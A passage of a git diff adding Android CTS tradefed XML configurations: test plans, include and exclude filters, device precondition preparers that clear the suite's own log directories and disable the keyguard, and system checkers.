+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp4"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp6"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp4UdpEncap"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testTrafficStatsForLocalhost"/>
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testValidTotalStats"/>
+
+    <!-- b/150807956: Temporarily disabled due to bad experiment channel -->
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithLayerAndComplexClip" />
+    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
+
+    <!-- b/159295445, b/159294948: CtsDevicePolicyManagerTestCases -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDeviceIdAttestationForProfileOwner" />
+
+    <!-- b/153032202: CtsSystemUiTestCases (10_r3 waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.WindowInsetsBehaviorTests#swipeOutsideLimit_systemUiVisible_allEventsCanceled"/>
+
+    <!-- b/173662175: CtsStatsdHostTestCases due to insufficient processes running -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.validation.ProcStatsValidationTests#testProcessStatePssValue"/>
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-presubmit.xml b/tools/cts-tradefed/res/config/cts-on-gsi-presubmit.xml
new file mode 100644
index 0000000..3c42a12
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-presubmit.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS-on-GSI tests selected for presubmit testing">
+    <option name="plan" value="cts-on-gsi-presubmit" />
+    <include name="cts-automated" />
+    <!-- CTS-on-GSI is not expected to run parameterized modules -->
+    <option name="compatibility:enable-parameterized-modules" value="false" />
+    <option name="compatibility:primary-abi-only" value="true" />
+
+    <include name="cts-on-gsi-exclude" />
+
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:android.platform.test.annotations.Presubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.Presubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:include-annotation:android.platform.test.annotations.Presubmit" />
+</configuration>
+
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-sim.xml b/tools/cts-tradefed/res/config/cts-on-gsi-sim.xml
new file mode 100644
index 0000000..5150942
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-sim.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs cts-on-gsi on device with SIM card">
+
+    <include name="cts-on-gsi" />
+
+    <include name="cts-sim-include" />
+
+    <option name="plan" value="cts-on-gsi-sim" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi.xml b/tools/cts-tradefed/res/config/cts-on-gsi.xml
new file mode 100644
index 0000000..a87ba2e
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-gsi.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests using a general system image (GSI)">
+    <!-- Enforce collecting vendor build information -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.VtsDeviceInfoCollector" />
+
+    <!-- Common CTS config -->
+    <include name="cts" />
+
+    <!-- CTS-on-GSI is not expected to run parameterized modules -->
+    <option name="compatibility:enable-parameterized-modules" value="false" />
+    <option name="compatibility:primary-abi-only" value="true" />
+
+    <include name="cts-on-gsi-exclude" />
+    <!-- Overwrite the "cts" plan configured in cts.xml -->
+    <option name="plan" value="cts-on-gsi" />
+
+    <!-- For CTS-on-GSI, override the suite name to VTS for the R release only -->
+    <option name="cts-on-gsi-variant" value="true" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-preconditions.xml b/tools/cts-tradefed/res/config/cts-preconditions.xml
new file mode 100644
index 0000000..6a4f47e
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-preconditions.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="CTS precondition configs">
+
+    <include name="cts-device-files" />
+
+    <option name="plan" value="cts-preconditions" />
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <!-- the name under which to find the configuration -->
+        <option name="config-filename" value="cts" />
+        <option name="extract-from-resource" value="true" />
+        <!-- the name of the resource inside the jar -->
+        <option name="dynamic-resource-name" value="cts-tradefed" />
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.StayAwakePreparer" />
+
+    <!-- Disable "Android Beta Program" -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PackageDisabler" >
+        <option name="package" value="com.android.yadayada"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.SettingsPreparer">
+        <option name="device-setting" value="verifier_verify_adb_installs"/>
+        <option name="setting-type" value="global"/>
+        <option name="set-value" value="0"/>
+    </target_preparer>
+
+    <!-- Disable crash error dialogs to avoid affecting following tests -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.SettingsPreparer">
+        <option name="device-setting" value="hide_error_dialogs"/>
+        <option name="setting-type" value="global"/>
+        <option name="set-value" value="1"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkPreconditionCheck">
+        <option name="apk" value="CtsPreconditions.apk"/>
+        <option name="package" value="com.android.preconditions.cts"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.WifiCheck" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="rm -rf /sdcard/device-info-files" />
+        <option name="run-command" value="rm -rf /sdcard/report-log-files" />
+        <!-- Disable keyguard -->
+        <option name="run-command" value="locksettings set-disabled true"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceInfoCollector">
+        <option name="apk" value="CtsDeviceInfo.apk"/>
+        <option name="package" value="com.android.compatibility.common.deviceinfo"/>
+        <option name="src-dir" value="/sdcard/device-info-files/"/>
+        <option name="dest-dir" value="device-info-files/"/>
+        <option name="temp-dir" value="temp-device-info-files/"/>
+        <option name="throw-error" value="false"/>
+    </target_preparer>
+
+    <!-- The following values are used in cts/common/device-side/util/DeviceReportLog.java,
+    cts/harness/common/host-side/util/MetricsReportLog.java and tools/tradefed-host/util/ReportLogUtil.java.
+    Any change in these values must also be translated to the stated files.
+    -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+        <option name="src-dir" value="/sdcard/report-log-files/"/>
+        <option name="dest-dir" value="report-log-files/"/>
+        <option name="temp-dir" value="temp-report-logs/"/>
+    </target_preparer>
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-presubmit.xml b/tools/cts-tradefed/res/config/cts-presubmit.xml
new file mode 100644
index 0000000..5997779
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-presubmit.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS presubmit test cases">
+
+    <include name="cts-automated" />
+
+    <!-- Only run tests with @Presubmit annotation -->
+    <!-- This serve as a base config for CTS tests used for presubmit;
+         additional filtering parameters should be applied to further narrow
+         down the choice of tests, e.g. module filter
+    -->
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:android.platform.test.annotations.Presubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.Presubmit" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:include-annotation:android.platform.test.annotations.Presubmit" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
new file mode 100644
index 0000000..1614c18
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Include CTS test that require SIM card">
+
+    <!-- CTS tests that need SIM card-->
+    <option name="compatibility:include-filter" value="signed-CtsOmapiTestCases" />
+    <option name="compatibility:include-filter" value="signed-CtsSecureElementAccessControlTestCases1" />
+    <option name="compatibility:include-filter" value="signed-CtsSecureElementAccessControlTestCases2" />
+    <option name="compatibility:include-filter" value="signed-CtsSecureElementAccessControlTestCases3" />
+    <option name="compatibility:include-filter" value="CtsCarrierApiTestCases" />
+    <option name="compatibility:include-filter" value="CtsJobSchedulerTestCases" />
+    <option name="compatibility:include-filter" value="CtsNetTestCases" />
+    <option name="compatibility:include-filter" value="CtsNetTestCasesLegacyApi22" />
+    <option name="compatibility:include-filter" value="CtsOmapiTestCases" />
+    <option name="compatibility:include-filter" value="CtsPermissionTestCases" />
+    <option name="compatibility:include-filter" value="CtsPermission2TestCases" />
+    <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases1" />
+    <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases2" />
+    <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
+    <option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
+    <option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsTelecomTestCases" />
+    <option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
+    <option name="compatibility:include-filter" value="CtsTelecomTestCases3" />
+    <option name="compatibility:include-filter" value="CtsTelephonyTestCases" />
+    <option name="compatibility:include-filter" value="CtsTelephony2TestCases" />
+    <option name="compatibility:include-filter" value="CtsTelephony3TestCases" />
+    <option name="compatibility:include-filter" value="CtsTelephonySdk28TestCases" />
+    <option name="compatibility:include-filter" value="CtsTetheringTest" />
+    <option name="compatibility:include-filter" value="CtsUsageStatsTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-sim.xml b/tools/cts-tradefed/res/config/cts-sim.xml
new file mode 100644
index 0000000..234c33f
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-sim.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS-sim on device with SIM card">
+
+    <include name="cts" />
+
+    <include name="cts-sim-include" />
+
+    <option name="plan" value="cts-sim" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-system-checkers.xml b/tools/cts-tradefed/res/config/cts-system-checkers.xml
new file mode 100644
index 0000000..7639bf9
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-system-checkers.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="CTS system checker configs">
+    <system_checker class="com.android.tradefed.suite.checker.UserChecker" />
+    <system_checker class="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.ShellStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.EnforcedSeLinuxChecker">
+        <!-- We expect selinux enforced for CTS -->
+        <option name="expect-enforced" value="true" />
+    </system_checker>
+    <system_checker class="com.android.tradefed.suite.checker.KeyguardStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.LeakedThreadStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.TimeStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.DeviceSettingChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.SystemServerStatusChecker" />
+    <system_checker class="com.android.tradefed.suite.checker.SystemServerFileDescriptorChecker" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-unit-tests.xml b/tools/cts-tradefed/res/config/cts-unit-tests.xml
new file mode 100644
index 0000000..9f30011
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-unit-tests.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Executes the CTS unit tests">
+    <option name="null-device" value="true" />
+    <build_provider class="com.android.tradefed.build.StubBuildProvider" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="com.android.compatibility.tradefed.CtsUnitTests" />
+        <option name="class" value="com.drawelements.deqp.runner.DeqpTestRunnerTest" />
+    </test>
+    <logger class="com.android.tradefed.log.FileLogger" />
+
+    <result_reporter class="com.android.tradefed.result.ConsoleResultReporter">
+        <option name="suppress-passed-tests" value="true" />
+    </result_reporter>
+    <template-include name="reporters" default="empty" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-virtual-device-stable.xml b/tools/cts-tradefed/res/config/cts-virtual-device-stable.xml
new file mode 100644
index 0000000..512e8a2
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-virtual-device-stable.xml
@@ -0,0 +1,222 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs stable set of CTS tests for virtual devices">
+
+    <include name="cts-virtual-device" />
+
+    <option name="plan" value="cts-virtual-device-stable" />
+
+    <!-- CTS tests shown to be stable on virtual devices-->
+    <option name="compatibility:include-filter" value="CtsAccelerationTestCases" />
+    <option name="compatibility:include-filter" value="CtsAlarmClockTestCases" />
+    <option name="compatibility:include-filter" value="CtsAndroidTestBase27ApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsAndroidTestMockCurrentApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsAnimationTestCases" />
+    <option name="compatibility:include-filter" value="CtsApacheHttpLegacy27ApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsAppComponentFactoryTestCases" />
+    <option name="compatibility:include-filter" value="CtsAppUsageHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsAslrMallocTestCases" />
+    <option name="compatibility:include-filter" value="CtsAtraceHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsBackgroundRestrictionsTestCases" />
+    <option name="compatibility:include-filter" value="CtsBionicTestCases" />
+    <option name="compatibility:include-filter" value="CtsCalendarcommon2TestCases" />
+    <option name="compatibility:include-filter" value="CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases" />
+    <option name="compatibility:include-filter" value="CtsClassLoaderFactoryPathClassLoaderTestCases" />
+    <option name="compatibility:include-filter" value="CtsCompilationTestCases" />
+    <option name="compatibility:include-filter" value="CtsContactsProviderWipe" />
+    <option name="compatibility:include-filter" value="CtsCppToolsTestCases" />
+    <option name="compatibility:include-filter" value="CtsCurrentApiSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsDatabaseTestCases" />
+    <option name="compatibility:include-filter" value="CtsDebugTestCases" />
+    <option name="compatibility:include-filter" value="CtsDeviceIdleHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsDexMetadataHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsDreamsTestCases" />
+    <option name="compatibility:include-filter" value="CtsDynamicLinkerTestCases" />
+    <option name="compatibility:include-filter" value="CtsEdiHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsExtendedMockingTestCases" />
+    <option name="compatibility:include-filter" value="CtsFragmentTestCases" />
+    <option name="compatibility:include-filter" value="CtsFragmentTestCasesSdk26" />
+    <option name="compatibility:include-filter" value="CtsGestureTestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiBlocklistApi27TestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiBlocklistApi28TestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiBlocklistCurrentApiTestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiBlocklistDebugClassTestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiKillswitchDebugClassTestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiKillswitchSdkListTestCases" />
+    <option name="compatibility:include-filter" value="CtsHiddenApiKillswitchWildcardTestCases" />
+    <option name="compatibility:include-filter" value="CtsHostsideNumberBlockingTestCases" />
+    <option name="compatibility:include-filter" value="CtsHostsideTvTests" />
+    <option name="compatibility:include-filter" value="CtsHostsideWebViewTests" />
+    <option name="compatibility:include-filter" value="CtsHostTzDataTests" />
+    <option name="compatibility:include-filter" value="CtsIcuTestCases" />
+    <option name="compatibility:include-filter" value="CtsInlineMockingTestCases" />
+    <option name="compatibility:include-filter" value="CtsInputMethodTestCases" />
+    <option name="compatibility:include-filter" value="CtsIntentSignatureTestCases" />
+    <option name="compatibility:include-filter" value="CtsJankDeviceTestCases" />
+    <option name="compatibility:include-filter" value="CtsJdwpSecurityHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJdwpTestCases" />
+    <option name="compatibility:include-filter" value="CtsJniTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiAttachingHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiAttachingTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRedefineClassesHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1900HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1901HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1902HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1903HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1904HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1906HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1907HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1908HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1909HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1910HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1911HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1912HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1913HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1914HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1915HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1916HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1917HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1920HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1921HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1922HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1923HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1924HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1925HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1926HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1927HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1928HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1930HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1931HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1932HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1933HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1934HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1936HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1937HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1939HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1941HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1942HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1943HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1953HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest1958HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest902HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest903HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest904HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest905HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest906HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest907HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest908HostTestCases" />
